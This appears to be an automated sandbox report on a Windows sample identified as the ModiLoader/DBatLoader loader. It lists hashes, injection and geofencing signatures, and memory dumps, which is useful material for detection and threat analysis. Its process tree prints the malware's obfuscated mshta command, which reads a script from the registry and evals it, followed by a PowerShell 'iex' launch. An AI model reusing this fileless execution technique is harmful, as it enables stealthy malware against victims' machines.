Analysis
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max time kernel
143s -
max time network
104s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
12-05-2024 06:31
Static task
static1
Behavioral task
behavioral1
Sample
38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe
Resource
win10v2004-20240426-en
General
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Target
38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe
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Size
265KB
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MD5
38bba39c2139e77f4fecf128d25d583a
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SHA1
2fbc7c25b1909e4cadae63caec0b902967072b1f
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SHA256
6d9d58f592af50d202d9504db5ae94bef12903d6930d9cb0b7093a6eb6de662a
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SHA512
62daacb43e2e872bdbe3012432004b8ff642670e185ea534e7b32f16d06957eefb30715875beb7e6170a423c2a08015247cb12579866439908d323f5f6cd72d2
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SSDEEP
6144:AAZ4m1VLp8UBoCcp2XvUU+NK4JSaXhAzRTkaUHgX:AHmXo9XbJSaXmzRXUAX
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4088 2104 mshta.exe -
ModiLoader Second Stage 10 IoCs
Processes:
resource yara_rule behavioral2/memory/2492-3-0x0000000000400000-0x0000000000439000-memory.dmp modiloader_stage2 behavioral2/memory/2492-7-0x0000000000400000-0x0000000000439000-memory.dmp modiloader_stage2 behavioral2/memory/2492-8-0x0000000000400000-0x0000000000439000-memory.dmp modiloader_stage2 behavioral2/memory/2492-9-0x00000000007A0000-0x0000000000874000-memory.dmp modiloader_stage2 behavioral2/memory/2492-13-0x00000000007A0000-0x0000000000874000-memory.dmp modiloader_stage2 behavioral2/memory/2492-12-0x00000000007A0000-0x0000000000874000-memory.dmp modiloader_stage2 behavioral2/memory/2492-10-0x00000000007A0000-0x0000000000874000-memory.dmp modiloader_stage2 behavioral2/memory/2492-11-0x00000000007A0000-0x0000000000874000-memory.dmp modiloader_stage2 behavioral2/memory/2492-14-0x00000000007A0000-0x0000000000874000-memory.dmp modiloader_stage2 behavioral2/memory/2492-15-0x00000000007A0000-0x0000000000874000-memory.dmp modiloader_stage2 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation mshta.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exedescription pid process target process PID 916 set thread context of 2492 916 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4644 powershell.exe 4644 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4644 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exepid process 916 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exemshta.exedescription pid process target process PID 916 wrote to memory of 2492 916 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe PID 916 wrote to memory of 2492 916 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe PID 916 wrote to memory of 2492 916 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe PID 916 wrote to memory of 2492 916 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe PID 916 wrote to memory of 2492 916 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe PID 916 wrote to memory of 2492 916 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe PID 916 wrote to memory of 2492 916 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe PID 916 wrote to memory of 2492 916 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe PID 916 wrote to memory of 2492 916 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe PID 916 wrote to memory of 2492 916 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe PID 4088 wrote to memory of 4644 4088 mshta.exe powershell.exe PID 4088 wrote to memory of 4644 4088 mshta.exe powershell.exe PID 4088 wrote to memory of 4644 4088 mshta.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:916 -
C:\Users\Admin\AppData\Local\Temp\38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe"2⤵PID:2492
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:zjIm2LBZ="09sg1Pp";v8s=new%20ActiveXObject("WScript.Shell");Dmyq1iE="kSaCiE";z9RF8q=v8s.RegRead("HKLM\\software\\Wow6432Node\\pVbLM0\\KQM4sJ");JNP8DsOEP="l0mFmBdY";eval(z9RF8q);xwL62pmz="OVf8lduqk";1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4088 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:imbt2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4644
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xp1tbl1i.qtz.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/2492-7-0x0000000000400000-0x0000000000439000-memory.dmpFilesize
228KB
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memory/2492-8-0x0000000000400000-0x0000000000439000-memory.dmpFilesize
228KB
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memory/2492-9-0x00000000007A0000-0x0000000000874000-memory.dmpFilesize
848KB
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memory/2492-13-0x00000000007A0000-0x0000000000874000-memory.dmpFilesize
848KB
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memory/2492-12-0x00000000007A0000-0x0000000000874000-memory.dmpFilesize
848KB
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memory/2492-10-0x00000000007A0000-0x0000000000874000-memory.dmpFilesize
848KB
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memory/2492-11-0x00000000007A0000-0x0000000000874000-memory.dmpFilesize
848KB
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memory/2492-14-0x00000000007A0000-0x0000000000874000-memory.dmpFilesize
848KB
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memory/2492-15-0x00000000007A0000-0x0000000000874000-memory.dmpFilesize
848KB
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memory/2492-3-0x0000000000400000-0x0000000000439000-memory.dmpFilesize
228KB
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memory/4644-17-0x0000000004A60000-0x0000000004A96000-memory.dmpFilesize
216KB
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memory/4644-19-0x0000000005060000-0x0000000005082000-memory.dmpFilesize
136KB
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memory/4644-20-0x0000000005840000-0x00000000058A6000-memory.dmpFilesize
408KB
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memory/4644-18-0x0000000005210000-0x0000000005838000-memory.dmpFilesize
6.2MB
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memory/4644-21-0x00000000058B0000-0x0000000005916000-memory.dmpFilesize
408KB
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memory/4644-31-0x00000000059A0000-0x0000000005CF4000-memory.dmpFilesize
3.3MB
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memory/4644-32-0x0000000005E80000-0x0000000005E9E000-memory.dmpFilesize
120KB
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memory/4644-33-0x0000000005EC0000-0x0000000005F0C000-memory.dmpFilesize
304KB
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memory/4644-35-0x0000000006F20000-0x0000000006F3A000-memory.dmpFilesize
104KB
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memory/4644-34-0x0000000007680000-0x0000000007CFA000-memory.dmpFilesize
6.5MB